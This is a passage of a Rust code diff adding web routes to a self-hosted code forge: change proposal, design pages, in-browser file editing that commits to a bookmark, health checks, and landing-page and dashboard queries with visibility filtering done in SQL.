| 351 | + | let Some((change_uuid, number)) = row else { | |
| 352 | + | return Ok(reject("That change is not in this repository.")); | |
| 353 | + | }; | |
| 354 | + | ||
| 355 | + | sqlx::query( | |
| 356 | + | "UPDATE changes | |
| 357 | + | SET title = $2, description = $3, target_bookmark = $4, | |
| 358 | + | author_user_id = COALESCE(author_user_id, $5), | |
| 359 | + | -- Only a draft is promoted. A change already open, merged or | |
| 360 | + | -- abandoned keeps the state it has; this form proposes work, it | |
| 361 | + | -- does not resurrect it. | |
| 362 | + | state = CASE WHEN state = 'draft' THEN 'open'::change_state ELSE state END, | |
| 363 | + | updated_at = now() | |
| 364 | + | WHERE id = $1", | |
| 365 | + | ) | |
| 366 | + | .bind(change_uuid) | |
| 367 | + | .bind(&title) | |
| 368 | + | .bind(form.description.as_deref().unwrap_or("").trim()) | |
| 369 | + | .bind(form.target_bookmark.trim()) | |
| 370 | + | .bind(user.id) | |
| 371 | + | .execute(&state.db) | |
| 372 | + | .await?; | |
| 373 | + | ||
| 374 | + | crate::routes::review::event( | |
| 375 | + | &state, | |
| 376 | + | ctx.repo.id, | |
| 377 | + | Some(user.id), | |
| 378 | + | "change.opened", | |
| 379 | + | change_uuid, | |
| 380 | + | serde_json::json!({ "change_id": form.change.trim() }), | |
| 381 | + | ) | |
| 382 | + | .await; | |
| 383 | + | ||
| 384 | + | Ok(Redirect::to(&format!("{}/changes/{number}", ctx.base())).into_response()) | |
| 385 | + | } | |
| 386 | + | ||
| 387 | + | /// Changes that are worth proposing: pushed, not landed, not abandoned. | |
| 388 | + | async fn load_proposable(state: &AppState, repo_id: Uuid) -> AppResult<Vec<v::Proposable>> { | |
| 389 | + | let rows: Vec<(String, i64, String, bool, i64, String)> = sqlx::query_as( | |
| 390 | + | "SELECT c.change_id, c.number, c.title, c.synthetic, | |
| 391 | + | (SELECT count(*) FROM revisions r WHERE r.change_id_fk = c.id) AS revcount, | |
| 392 | + | c.state::text | |
| 393 | + | FROM changes c | |
| 394 | + | WHERE c.repo_id = $1 AND c.state IN ('draft', 'open') | |
| 395 | + | ORDER BY c.updated_at DESC | |
| 396 | + | LIMIT 100", | |
| 397 | + | ) | |
| 398 | + | .bind(repo_id) | |
| 399 | + | .fetch_all(&state.db) | |
| 400 | + | .await?; | |
| 401 | + | ||
| 402 | + | Ok(rows | |
| 403 | + | .into_iter() | |
| 404 | + | .map(|(change_id, number, title, synthetic, revisions, state)| v::Proposable { | |
| 405 | + | change_id, | |
| 406 | + | number, | |
| 407 | + | title, | |
| 408 | + | synthetic, | |
| 409 | + | revisions, | |
| 410 | + | state, | |
| 411 | + | }) | |
| 412 | + | .collect()) | |
| 413 | + | } | |
Acrates/df-web/src/routes/design.rs+37−0
| @@ −0,0 +1,37 @@ | |||
| 1 | + | //! The design system reference pages. | |
| 2 | + | //! | |
| 3 | + | //! Static: they render tokens and components, and touch neither the database | |
| 4 | + | //! nor the store. Public, because a design system is not a secret and the | |
| 5 | + | //! implementation team should be able to link to it. | |
| 6 | + | ||
| 7 | + | use axum::response::{IntoResponse, Response}; | |
| 8 | + | ||
| 9 | + | use crate::error::AppResult; | |
| 10 | + | use crate::state::{CsrfToken, CurrentUser, Nonce}; | |
| 11 | + | use crate::views::{self, Chrome}; | |
| 12 | + | ||
| 13 | + | /// `GET /design` | |
| 14 | + | pub async fn sheet( | |
| 15 | + | CurrentUser(user): CurrentUser, | |
| 16 | + | CsrfToken(csrf): CsrfToken, | |
| 17 | + | Nonce(nonce): Nonce, | |
| 18 | + | ) -> AppResult<Response> { | |
| 19 | + | Ok(views::page( | |
| 20 | + | Chrome { title: "Component sheet", user: user.as_deref(), csrf: &csrf, nonce: &nonce }, | |
| 21 | + | views::design::sheet(), | |
| 22 | + | ) | |
| 23 | + | .into_response()) | |
| 24 | + | } | |
| 25 | + | ||
| 26 | + | /// `GET /design/rationale` | |
| 27 | + | pub async fn rationale( | |
| 28 | + | CurrentUser(user): CurrentUser, | |
| 29 | + | CsrfToken(csrf): CsrfToken, | |
| 30 | + | Nonce(nonce): Nonce, | |
| 31 | + | ) -> AppResult<Response> { | |
| 32 | + | Ok(views::page( | |
| 33 | + | Chrome { title: "Design rationale", user: user.as_deref(), csrf: &csrf, nonce: &nonce }, | |
| 34 | + | views::design::rationale(), | |
| 35 | + | ) | |
| 36 | + | .into_response()) | |
| 37 | + | } | |
Acrates/df-web/src/routes/edit.rs+285−0
| @@ −0,0 +1,285 @@ | |||
| 1 | + | //! In-browser file editing. | |
| 2 | + | //! | |
| 3 | + | //! Not in the spec's route table — an addition on top of v1. It is built to the | |
| 4 | + | //! same rules as everything else, and two of them shape the whole design: | |
| 5 | + | //! | |
| 6 | + | //! * **Progressive enhancement is a hard requirement** (spec §7). The page is a | |
| 7 | + | //! form containing a `<textarea>`. CodeMirror replaces it when the bundle | |
| 8 | + | //! loads; when it does not, the plain textarea saves exactly the same way. | |
| 9 | + | //! * **Edits are commits, not a side channel.** Saving writes a real commit | |
| 10 | + | //! whose parent is the bookmark's current tip, through the same store the | |
| 11 | + | //! push path uses. It is a fast-forward by construction, so it satisfies the | |
| 12 | + | //! protected-bookmark rule rather than bypassing it — and the indexer picks | |
| 13 | + | //! it up like any other push. | |
| 14 | + | //! | |
| 15 | + | //! Editing is a `write`-level action: the same permission a push needs, because | |
| 16 | + | //! it is the same effect. | |
| 17 | + | ||
| 18 | + | use axum::extract::{Path as UrlPath, Query, State}; | |
| 19 | + | use axum::response::{IntoResponse, Redirect, Response}; | |
| 20 | + | use axum::Form; | |
| 21 | + | use df_store::{EditOutcome, RevId}; | |
| 22 | + | use serde::Deserialize; | |
| 23 | + | ||
| 24 | + | use crate::error::{AppError, AppResult}; | |
| 25 | + | use crate::repo_ctx::RepoContext; | |
| 26 | + | use crate::routes::settings::urlencode; | |
| 27 | + | use crate::state::{AppState, CsrfToken, CurrentUser, Nonce}; | |
| 28 | + | use crate::views::edit as v; | |
| 29 | + | use crate::views::repo as rv; | |
| 30 | + | use crate::views::{self, Chrome}; | |
| 31 | + | ||
| 32 | + | /// Largest file the editor will open. | |
| 33 | + | /// | |
| 34 | + | /// Matches the store's own write cap. A file bigger than this is not something | |
| 35 | + | /// to edit in a browser, and saying so up front is kinder than letting somebody | |
| 36 | + | /// type into it and be refused on save. | |
| 37 | + | const MAX_EDIT_BYTES: u64 = 1024 * 1024; | |
| 38 | + | ||
| 39 | + | #[derive(Deserialize, Default)] | |
| 40 | + | pub struct EditQuery { | |
| 41 | + | pub error: Option<String>, | |
| 42 | + | } | |
| 43 | + | ||
| 44 | + | /// `GET /{owner}/{repo}/edit/{rev}/{path}` | |
| 45 | + | /// | |
| 46 | + | /// `rev` must be a **bookmark name**, not an arbitrary revision. An edit has to | |
| 47 | + | /// land somewhere, and "commit this on top of a detached revision" has no | |
| 48 | + | /// meaning the user could act on. | |
| 49 | + | pub async fn show( | |
| 50 | + | State(state): State<AppState>, | |
| 51 | + | UrlPath(p): UrlPath<super::repo::RevPath>, | |
| 52 | + | Query(q): Query<EditQuery>, | |
| 53 | + | CurrentUser(user): CurrentUser, | |
| 54 | + | CsrfToken(csrf): CsrfToken, | |
| 55 | + | Nonce(nonce): Nonce, | |
| 56 | + | ) -> AppResult<Response> { | |
| 57 | + | let ctx = RepoContext::load(&state, &p.owner, &p.repo, user.as_deref()).await?; | |
| 58 | + | if user.is_none() { | |
| 59 | + | return Err(AppError::Unauthorized); | |
| 60 | + | } | |
| 61 | + | ctx.require_push()?; | |
| 62 | + | if ctx.repo.archived { | |
| 63 | + | return Err(AppError::BadRequest( | |
| 64 | + | "This repository is archived and cannot be edited.".into(), | |
| 65 | + | )); | |
| 66 | + | } | |
| 67 | + | ||
| 68 | + | let bookmark = resolve_bookmark(&state, &ctx, &p.rev).await?; | |
| 69 | + | let tip = state | |
| 70 | + | .store | |
| 71 | + | .resolve(ctx.store_id(), &bookmark) | |
| 72 | + | .await | |
| 73 | + | .map_err(|_| AppError::NotFound)?; | |
| 74 | + | ||
| 75 | + | let blob = state | |
| 76 | + | .store | |
| 77 | + | .read_blob(ctx.store_id(), &tip, std::path::Path::new(&p.path)) | |
| 78 | + | .await | |
| 79 | + | .map_err(|e| match e { | |
| 80 | + | df_store::StoreError::NoSuchPath => AppError::NotFound, | |
| 81 | + | df_store::StoreError::IsDirectory => { | |
| 82 | + | AppError::BadRequest("that path is a directory".into()) | |
| 83 | + | } | |
| 84 | + | other => AppError::Internal(anyhow::anyhow!(other)), | |
| 85 | + | })?; | |
| 86 | + | ||
| 87 | + | if blob.size > MAX_EDIT_BYTES { | |
| 88 | + | return Err(AppError::BadRequest(format!( | |
| 89 | + | "that file is {} bytes; the editor handles up to {MAX_EDIT_BYTES}", | |
| 90 | + | blob.size | |
| 91 | + | ))); | |
| 92 | + | } | |
| 93 | + | ||
| 94 | + | // Binary content has no meaningful textarea representation, and round- | |
| 95 | + | // tripping it through one would corrupt it. | |
| 96 | + | let Some(text) = blob.text() else { | |
| 97 | + | return Err(AppError::BadRequest( | |
| 98 | + | "that file is binary and cannot be edited here".into(), | |
| 99 | + | )); | |
| 100 | + | }; | |
| 101 | + | ||
| 102 | + | let body = maud::html! { | |
| 103 | + | (rv::header(&ctx, "code")) | |
| 104 | + | (v::editor(&ctx, v::Editor { | |
| 105 | + | bookmark: &bookmark, | |
| 106 | + | tip: tip.as_str(), | |
| 107 | + | path: &p.path, | |
| 108 | + | content: text, | |
| 109 | + | language: df_render::highlight::language_for_path(&p.path).map(|l| l.grammar), | |
| 110 | + | author: user.as_deref().map(|u| u.label()).unwrap_or(""), | |
| 111 | + | csrf: &csrf, | |
| 112 | + | error: q.error.as_deref(), | |
| 113 | + | })) | |
| 114 | + | }; | |
| 115 | + | ||
| 116 | + | Ok(views::page( | |
| 117 | + | Chrome { | |
| 118 | + | title: &format!("Editing {} · {}/{}", p.path, ctx.owner, ctx.repo.name), | |
| 119 | + | user: user.as_deref(), | |
| 120 | + | csrf: &csrf, | |
| 121 | + | nonce: &nonce, | |
| 122 | + | }, | |
| 123 | + | // The one page that loads the editor bundle. | |
| 124 | + | maud::html! { | |
| 125 | + | (body) | |
| 126 | + | script src="/assets/editor.js" nonce=(nonce) defer {} | |
| 127 | + | }, | |
| 128 | + | ) | |
| 129 | + | .into_response()) | |
| 130 | + | } | |
| 131 | + | ||
| 132 | + | #[derive(Deserialize)] | |
| 133 | + | pub struct SaveForm { | |
| 134 | + | pub content: String, | |
| 135 | + | pub message: Option<String>, | |
| 136 | + | /// The revision the edit was composed against, so a concurrent edit can be | |
| 137 | + | /// detected instead of silently overwritten. | |
| 138 | + | pub tip: String, | |
| 139 | + | } | |
| 140 | + | ||
| 141 | + | /// `POST /{owner}/{repo}/edit/{rev}/{path}` | |
| 142 | + | pub async fn save( | |
| 143 | + | State(state): State<AppState>, | |
| 144 | + | UrlPath(p): UrlPath<super::repo::RevPath>, | |
| 145 | + | CurrentUser(user): CurrentUser, | |
| 146 | + | Form(form): Form<SaveForm>, | |
| 147 | + | ) -> AppResult<Response> { | |
| 148 | + | let Some(user) = user else { | |
| 149 | + | return Err(AppError::Unauthorized); | |
| 150 | + | }; | |
| 151 | + | let ctx = RepoContext::load(&state, &p.owner, &p.repo, Some(&user)).await?; | |
| 152 | + | ctx.require_push()?; | |
| 153 | + | if ctx.repo.archived { | |
| 154 | + | return Err(AppError::BadRequest( | |
| 155 | + | "This repository is archived and cannot be edited.".into(), | |
| 156 | + | )); | |
| 157 | + | } | |
| 158 | + | ||
| 159 | + | let bookmark = resolve_bookmark(&state, &ctx, &p.rev).await?; | |
| 160 | + | ||
| 161 | + | let back = |msg: &str| -> Response { | |
| 162 | + | Redirect::to(&format!( | |
| 163 | + | "{}/edit/{}/{}?error={}", | |
| 164 | + | ctx.base(), | |
| 165 | + | bookmark, | |
| 166 | + | p.path, | |
| 167 | + | urlencode(msg) | |
| 168 | + | )) | |
| 169 | + | .into_response() | |
| 170 | + | }; | |
| 171 | + | ||
| 172 | + | // Browsers submit CRLF in textarea content regardless of what was typed. | |
| 173 | + | // Normalising here keeps a save from showing up as a diff on every line of | |
| 174 | + | // a file that uses LF — which is every file in a Unix repository. | |
| 175 | + | let content = form.content.replace("\r\n", "\n"); | |
| 176 | + | ||
| 177 | + | if content.len() as u64 > MAX_EDIT_BYTES { | |
| 178 | + | return Ok(back("That content is too large to save.")); | |
| 179 | + | } | |
| 180 | + | ||
| 181 | + | let message = form | |
| 182 | + | .message | |
| 183 | + | .as_deref() | |
| 184 | + | .map(str::trim) | |
| 185 | + | .filter(|m| !m.is_empty()) | |
| 186 | + | .map(|m| m.chars().take(500).collect::<String>()) | |
| 187 | + | .unwrap_or_else(|| format!("Update {}", p.path)); | |
| 188 | + | ||
| 189 | + | // Attributed to the person who pressed save, with a noreply address — the | |
| 190 | + | // email from the identity provider is a claim we are told not to key on and | |
| 191 | + | // should not scatter into commit objects (spec §6). | |
| 192 | + | let author = df_store::Signature { | |
| 193 | + | name: user.label().to_owned(), | |
| 194 | + | email: format!("{}@users.noreply.{}", user.handle, state.config.host()), | |
| 195 | + | when: chrono::Utc::now(), | |
| 196 | + | }; | |
| 197 | + | ||
| 198 | + | let outcome = state | |
| 199 | + | .store | |
| 200 | + | .commit_file( | |
| 201 | + | ctx.store_id(), | |
| 202 | + | &bookmark, | |
| 203 | + | &RevId::from_stored(form.tip.clone()), | |
| 204 | + | &p.path, | |
| 205 | + | content.into_bytes(), | |
| 206 | + | &message, | |
| 207 | + | &author, | |
| 208 | + | ) | |
| 209 | + | .await; | |
| 210 | + | ||
| 211 | + | match outcome { | |
| 212 | + | Ok(EditOutcome::Committed { rev }) => { | |
| 213 | + | // The commit did not arrive over the wire, so no hook fired and | |
| 214 | + | // nothing else would notice it. Index it explicitly. | |
| 215 | + | if let Err(e) = crate::git_http::enqueue_index(&state, ctx.repo.id, Some(user.id)).await | |
| 216 | + | { | |
| 217 | + | tracing::error!(repo = %ctx.repo.id, "enqueuing IndexPush after an edit failed: {e:#}"); | |
| 218 | + | } | |
| 219 | + | let _ = sqlx::query("UPDATE repos SET pushed_at = now() WHERE id = $1") | |
| 220 | + | .bind(ctx.repo.id) | |
| 221 | + | .execute(&state.db) | |
| 222 | + | .await; | |
| 223 | + | ||
| 224 | + | tracing::info!( | |
| 225 | + | repo = %ctx.repo.id, path = %p.path, rev = %rev, actor = %user.handle, | |
| 226 | + | "file edited in the browser" | |
| 227 | + | ); | |
| 228 | + | ||
| 229 | + | Ok(Redirect::to(&format!( | |
| 230 | + | "{}/blob/{bookmark}/{}", | |
| 231 | + | ctx.base(), | |
| 232 | + | p.path | |
| 233 | + | )) | |
| 234 | + | .into_response()) | |
| 235 | + | } | |
| 236 | + | Ok(EditOutcome::Unchanged) => Ok(Redirect::to(&format!( | |
| 237 | + | "{}/blob/{bookmark}/{}", | |
| 238 | + | ctx.base(), | |
| 239 | + | p.path | |
| 240 | + | )) | |
| 241 | + | .into_response()), | |
| 242 | + | Ok(EditOutcome::Stale { .. }) => Ok(back( | |
| 243 | + | "Somebody else changed this file while you were editing. \ | |
| 244 | + | Your text was not saved — reopen the editor and reapply it.", | |
| 245 | + | )), | |
| 246 | + | Err(df_store::StoreError::TooLarge { .. }) => Ok(back("That content is too large to save.")), | |
| 247 | + | Err(df_store::StoreError::Path(e)) => Ok(back(&e.to_string())), | |
| 248 | + | Err(e) => { | |
| 249 | + | tracing::error!(repo = %ctx.repo.id, path = %p.path, "saving an edit failed: {e}"); | |
| 250 | + | Ok(back("The file could not be saved.")) | |
| 251 | + | } | |
| 252 | + | } | |
| 253 | + | } | |
| 254 | + | ||
| 255 | + | /// Require `rev` to name a bookmark of this repository. | |
| 256 | + | /// | |
| 257 | + | /// An edit has to land on something that moves. Accepting a raw revision would | |
| 258 | + | /// let the URL ask for a commit on top of a detached history that nothing | |
| 259 | + | /// points at — written, unreachable, and immediately garbage. | |
| 260 | + | async fn resolve_bookmark( | |
| 261 | + | state: &AppState, | |
| 262 | + | ctx: &RepoContext, | |
| 263 | + | rev: &str, | |
| 264 | + | ) -> AppResult<String> { | |
| 265 | + | let known: bool = sqlx::query_scalar( | |
| 266 | + | "SELECT EXISTS (SELECT 1 FROM bookmarks WHERE repo_id = $1 AND name = $2)", | |
| 267 | + | ) | |
| 268 | + | .bind(ctx.repo.id) | |
| 269 | + | .bind(rev) | |
| 270 | + | .fetch_one(&state.db) | |
| 271 | + | .await?; | |
| 272 | + | ||
| 273 | + | if known { | |
| 274 | + | return Ok(rev.to_string()); | |
| 275 | + | } | |
| 276 | + | ||
| 277 | + | // A repository that has been pushed to but not indexed yet has no bookmark | |
| 278 | + | // rows. Fall back to the configured default so the first edit is not | |
| 279 | + | // blocked by a lagging worker. | |
| 280 | + | if rev == ctx.repo.default_bookmark { | |
| 281 | + | return Ok(rev.to_string()); | |
| 282 | + | } | |
| 283 | + | ||
| 284 | + | Err(AppError::NotFound) | |
| 285 | + | } | |
Acrates/df-web/src/routes/health.rs+26−0
| @@ −0,0 +1,26 @@ | |||
| 1 | + | //! Liveness and readiness. | |
| 2 | + | //! | |
| 3 | + | //! `/healthz` answers whether the process is up; `/readyz` answers whether it | |
| 4 | + | //! can serve, which means the database is reachable. Container orchestration | |
| 5 | + | //! restarts on the former and withholds traffic on the latter, so conflating | |
| 6 | + | //! them turns a transient database blip into a restart loop. | |
| 7 | + | ||
| 8 | + | use axum::extract::State; | |
| 9 | + | use axum::http::StatusCode; | |
| 10 | + | use axum::response::IntoResponse; | |
| 11 | + | ||
| 12 | + | use crate::state::AppState; | |
| 13 | + | ||
| 14 | + | pub async fn healthz() -> impl IntoResponse { | |
| 15 | + | (StatusCode::OK, "ok\n") | |
| 16 | + | } | |
| 17 | + | ||
| 18 | + | pub async fn readyz(State(state): State<AppState>) -> impl IntoResponse { | |
| 19 | + | match df_db::ping(&state.db).await { | |
| 20 | + | Ok(()) => (StatusCode::OK, "ready\n"), | |
| 21 | + | Err(e) => { | |
| 22 | + | tracing::error!("readiness check failed: {e}"); | |
| 23 | + | (StatusCode::SERVICE_UNAVAILABLE, "database unreachable\n") | |
| 24 | + | } | |
| 25 | + | } | |
| 26 | + | } | |
Acrates/df-web/src/routes/home.rs+371−0
| @@ −0,0 +1,371 @@ | |||
| 1 | + | //! Landing page and dashboard. | |
| 2 | + | ||
| 3 | + | use axum::extract::State; | |
| 4 | + | use axum::response::{IntoResponse, Response}; | |
| 5 | + | use chrono::{DateTime, Utc}; | |
| 6 | + | ||
| 7 | + | use crate::error::AppResult; | |
| 8 | + | use crate::state::{AppState, CsrfToken, CurrentUser, Nonce}; | |
| 9 | + | use crate::views::pages::{ActivityItem, Dashboard, DashChange, FeedItem, RepoSummary}; | |
| 10 | + | use crate::views::{self, Chrome}; | |
| 11 | + | ||
| 12 | + | /// Repos the viewer can reach: their own, plus any they collaborate on, plus | |
| 13 | + | /// any belonging to an org they are a member of, plus public repos. | |
| 14 | + | /// | |
| 15 | + | /// Visibility is enforced *in* the query rather than by filtering afterwards — | |
| 16 | + | /// a post-filter is how private repos leak into listings. `$1` is the viewer's | |
| 17 | + | /// id and `$2` is whether they are an admin. | |
| 18 | + | const VISIBLE_TO_VIEWER: &str = r#" | |
| 19 | + | r.archived = false | |
| 20 | + | AND ( | |
| 21 | + | r.visibility = 'public' | |
| 22 | + | OR r.owner_user_id = $1 | |
| 23 | + | OR EXISTS (SELECT 1 FROM repo_collaborators c | |
| 24 | + | WHERE c.repo_id = r.id AND c.user_id = $1) | |
| 25 | + | OR EXISTS (SELECT 1 FROM org_members m | |
| 26 | + | WHERE m.org_id = r.owner_org_id AND m.user_id = $1) | |
| 27 | + | OR $2 | |
| 28 | + | ) | |
| 29 | + | "#; | |
| 30 | + | ||
| 31 | + | /// `/` — landing page when signed out, dashboard when signed in. | |
| 32 | + | /// | |
| 33 | + | /// Kept dual-mode rather than redirecting: every existing link and bookmark to | |
| 34 | + | /// `/` keeps working, and `/dashboard` below serves the same body for the | |
| 35 | + | /// design's explicit dashboard links. | |
| 36 | + | pub async fn index( | |
| 37 | + | State(state): State<AppState>, | |
| 38 | + | CurrentUser(user): CurrentUser, | |
| 39 | + | CsrfToken(csrf): CsrfToken, | |
| 40 | + | Nonce(nonce): Nonce, | |
| 41 | + | ) -> AppResult<Response> { | |
| 42 | + | let Some(user) = user else { | |
| 43 | + | let hint = state.config.https_clone_url("your-org", "your-repo"); | |
| 44 | + | let feed = public_feed(&state).await?; | |
| 45 | + | let repos = public_repos(&state).await?; | |
| 46 | + | return Ok(views::page( | |
| 47 | + | Chrome { title: "Dogfood", user: None, csrf: &csrf, nonce: &nonce }, | |
| 48 | + | views::pages::landing(&format!("jj git clone {hint}"), &feed, &repos), | |
| 49 | + | ) | |
| 50 | + | .into_response()); | |
| 51 | + | }; | |
| 52 | + | ||
| 53 | + | render_dashboard(&state, &user, &csrf, &nonce).await | |
| 54 | + | } | |
| 55 | + | ||
| 56 | + | /// `/dashboard` — the signed-in dashboard, addressable on its own. | |
| 57 | + | /// | |
| 58 | + | /// A signed-out visitor gets the landing page rather than a login redirect: the | |
| 59 | + | /// dashboard is not a secret, it is just empty without an account, and bouncing | |
| 60 | + | /// somebody to an SSO round trip to learn that is worse. | |
| 61 | + | pub async fn dashboard( | |
| 62 | + | State(state): State<AppState>, | |
| 63 | + | CurrentUser(user): CurrentUser, | |
| 64 | + | CsrfToken(csrf): CsrfToken, | |
| 65 | + | Nonce(nonce): Nonce, | |
| 66 | + | ) -> AppResult<Response> { | |
| 67 | + | match user { | |
| 68 | + | Some(user) => render_dashboard(&state, &user, &csrf, &nonce).await, | |
| 69 | + | None => Ok(axum::response::Redirect::to("/").into_response()), | |
| 70 | + | } | |
| 71 | + | } | |
| 72 | + | ||
| 73 | + | async fn render_dashboard( | |
| 74 | + | state: &AppState, | |
| 75 | + | user: &df_db::models::User, | |
| 76 | + | csrf: &str, | |
| 77 | + | nonce: &str, | |
| 78 | + | ) -> AppResult<Response> { | |
| 79 | + | let repos = visible_repos(state, user).await?; | |
| 80 | + | let awaiting = awaiting_review(state, user).await?; | |
| 81 | + | let mine = my_open_changes(state, user).await?; | |
| 82 | + | let activity = watched_activity(state, user).await?; | |
| 83 | + | ||
| 84 | + | Ok(views::page( | |
| 85 | + | Chrome { title: "Dashboard", user: Some(user), csrf, nonce }, | |
| 86 | + | views::pages::dashboard(Dashboard { | |
| 87 | + | user, | |
| 88 | + | awaiting: &awaiting, | |
| 89 | + | mine: &mine, | |
| 90 | + | activity: &activity, | |
| 91 | + | repos: &repos, | |
| 92 | + | }), | |
| 93 | + | ) | |
| 94 | + | .into_response()) | |
| 95 | + | } | |
| 96 | + | ||
| 97 | + | // ─── queries ───────────────────────────────────────────────────────────────── | |
| 98 | + | ||
| 99 | + | type RepoRow = (String, String, Option<String>, bool); | |
| 100 | + | ||
| 101 | + | fn to_summaries(rows: Vec<RepoRow>) -> Vec<RepoSummary> { | |
| 102 | + | rows.into_iter() | |
| 103 | + | .map(|(owner, name, description, private)| RepoSummary { owner, name, description, private }) | |
| 104 | + | .collect() | |
| 105 | + | } | |
| 106 | + | ||
| 107 | + | async fn visible_repos(state: &AppState, user: &df_db::models::User) -> AppResult<Vec<RepoSummary>> { | |
| 108 | + | let sql = format!( | |
| 109 | + | r#" | |
| 110 | + | SELECT COALESCE(ou.handle, og.handle) AS owner, | |
| 111 | + | r.name::text, | |
| 112 | + | r.description, | |
| 113 | + | (r.visibility = 'private') AS private | |
| 114 | + | FROM repos r | |
| 115 | + | LEFT JOIN users ou ON ou.id = r.owner_user_id | |
| 116 | + | LEFT JOIN orgs og ON og.id = r.owner_org_id | |
| 117 | + | WHERE {VISIBLE_TO_VIEWER} | |
| 118 | + | ORDER BY r.pushed_at DESC NULLS LAST, r.created_at DESC | |
| 119 | + | LIMIT 50 | |
| 120 | + | "# | |
| 121 | + | ); | |
| 122 | + | ||
| 123 | + | let rows: Vec<RepoRow> = sqlx::query_as(&sql) | |
| 124 | + | .bind(user.id) | |
| 125 | + | .bind(user.is_admin) | |
| 126 | + | .fetch_all(&state.db) | |
| 127 | + | .await?; | |
| 128 | + | ||
| 129 | + | Ok(to_summaries(rows)) | |
| 130 | + | } | |
| 131 | + | ||
| 132 | + | /// Public repositories, for the signed-out landing page. | |
| 133 | + | async fn public_repos(state: &AppState) -> AppResult<Vec<RepoSummary>> { | |
| 134 | + | let rows: Vec<RepoRow> = sqlx::query_as( | |
| 135 | + | r#" | |
| 136 | + | SELECT COALESCE(ou.handle, og.handle) AS owner, | |
| 137 | + | r.name::text, | |
| 138 | + | r.description, | |
| 139 | + | false AS private | |
| 140 | + | FROM repos r | |
| 141 | + | LEFT JOIN users ou ON ou.id = r.owner_user_id | |
| 142 | + | LEFT JOIN orgs og ON og.id = r.owner_org_id | |
| 143 | + | WHERE r.archived = false AND r.visibility = 'public' | |
| 144 | + | ORDER BY r.pushed_at DESC NULLS LAST, r.created_at DESC | |
| 145 | + | LIMIT 6 | |
| 146 | + | "#, | |
| 147 | + | ) | |
| 148 | + | .fetch_all(&state.db) | |
| 149 | + | .await?; | |
| 150 | + | ||
| 151 | + | Ok(to_summaries(rows)) | |
| 152 | + | } | |
| 153 | + | ||
| 154 | + | /// The "shipping right now" feed. | |
| 155 | + | /// | |
| 156 | + | /// Public repositories only, and no drafts: this renders for anonymous | |
| 157 | + | /// visitors, so anything it can reach is world-readable by definition. | |
| 158 | + | async fn public_feed(state: &AppState) -> AppResult<Vec<FeedItem>> { | |
| 159 | + | let rows: Vec<(String, String, i64, String, bool, String, Option<String>, DateTime<Utc>)> = | |
| 160 | + | sqlx::query_as( | |
| 161 | + | r#" | |
| 162 | + | SELECT COALESCE(ou.handle, og.handle) AS owner, | |
| 163 | + | r.name::text, | |
| 164 | + | c.number, | |
| 165 | + | c.change_id, | |
| 166 | + | c.synthetic, | |
| 167 | + | c.title, | |
| 168 | + | au.handle AS author, | |
| 169 | + | c.updated_at | |
| 170 | + | FROM changes c | |
| 171 | + | JOIN repos r ON r.id = c.repo_id | |
| 172 | + | LEFT JOIN users ou ON ou.id = r.owner_user_id | |
| 173 | + | LEFT JOIN orgs og ON og.id = r.owner_org_id | |
| 174 | + | LEFT JOIN users au ON au.id = c.author_user_id | |
| 175 | + | WHERE r.archived = false | |
| 176 | + | AND r.visibility = 'public' | |
| 177 | + | AND c.state <> 'draft' | |
| 178 | + | ORDER BY c.updated_at DESC | |
| 179 | + | LIMIT 12 | |
| 180 | + | "#, | |
| 181 | + | ) | |
| 182 | + | .fetch_all(&state.db) | |
| 183 | + | .await?; | |
| 184 | + | ||
| 185 | + | Ok(rows | |
| 186 | + | .into_iter() | |
| 187 | + | .map( | |
| 188 | + | |(owner, repo, number, change_id, synthetic, title, author, when)| FeedItem { | |
| 189 | + | owner, | |
| 190 | + | repo, | |
| 191 | + | number, | |
| 192 | + | change_id, | |
| 193 | + | synthetic, | |
| 194 | + | title, | |
| 195 | + | author, | |
| 196 | + | when, | |
| 197 | + | }, | |
| 198 | + | ) | |
| 199 | + | .collect()) | |
| 200 | + | } | |
| 201 | + | ||
| 202 | + | type ChangeRow = ( | |
| 203 | + | String, | |
| 204 | + | String, | |
| 205 | + | i64, | |
| 206 | + | String, | |
| 207 | + | bool, | |
| 208 | + | String, | |
| 209 | + | String, | |
| 210 | + | bool, | |
| 211 | + | Option<String>, | |
| 212 | + | DateTime<Utc>, | |
| 213 | + | ); | |
| 214 | + | ||
| 215 | + | fn to_dash_changes(rows: Vec<ChangeRow>) -> Vec<DashChange> { | |
| 216 | + | rows.into_iter() | |
| 217 | + | .map( | |
| 218 | + | |(owner, repo, number, change_id, synthetic, title, state, conflicted, author, updated_at)| { | |
| 219 | + | DashChange { | |
| 220 | + | owner, | |
| 221 | + | repo, | |
| 222 | + | number, | |
| 223 | + | change_id, | |
| 224 | + | synthetic, | |
| 225 | + | title, | |
| 226 | + | state, | |
| 227 | + | conflicted, | |
| 228 | + | author, | |
| 229 | + | updated_at, | |
| 230 | + | } | |
| 231 | + | }, | |
| 232 | + | ) | |
| 233 | + | .collect() | |
| 234 | + | } | |
| 235 | + | ||
| 236 | + | const CHANGE_COLUMNS: &str = r#" | |
| 237 | + | SELECT COALESCE(ou.handle, og.handle) AS owner, | |
| 238 | + | r.name::text, | |
| 239 | + | c.number, | |
| 240 | + | c.change_id, | |
| 241 | + | c.synthetic, | |
| 242 | + | c.title, | |
| 243 | + | c.state::text, | |
| 244 | + | c.conflicted, | |
| 245 | + | au.handle AS author, | |
| 246 | + | c.updated_at | |
| 247 | + | FROM changes c | |
| 248 | + | JOIN repos r ON r.id = c.repo_id | |
| 249 | + | LEFT JOIN users ou ON ou.id = r.owner_user_id | |
| 250 | + | LEFT JOIN orgs og ON og.id = r.owner_org_id | |
| 251 | + | LEFT JOIN users au ON au.id = c.author_user_id | |
| 252 | + | "#; | |
| 253 | + | ||
| 254 | + | /// Open changes waiting on this viewer. | |
| 255 | + | /// | |
| 256 | + | /// There is no "requested reviewers" table — `reviews` records verdicts that | |
| 257 | + | /// were *given*, not ones that were asked for. So "awaiting your review" is | |
| 258 | + | /// derived: an open change in a repo you can reach, that you did not write, and | |
| 259 | + | /// that you have not reviewed at its current head revision. Re-reviewing is | |
| 260 | + | /// therefore prompted whenever the author pushes again, which is the behaviour | |
| 261 | + | /// a reviewer wants. | |
| 262 | + | async fn awaiting_review( | |
| 263 | + | state: &AppState, | |
| 264 | + | user: &df_db::models::User, | |
| 265 | + | ) -> AppResult<Vec<DashChange>> { | |
| 266 | + | let sql = format!( | |
| 267 | + | r#" | |
| 268 | + | {CHANGE_COLUMNS} | |
| 269 | + | WHERE {VISIBLE_TO_VIEWER} | |
| 270 | + | AND c.state = 'open' | |
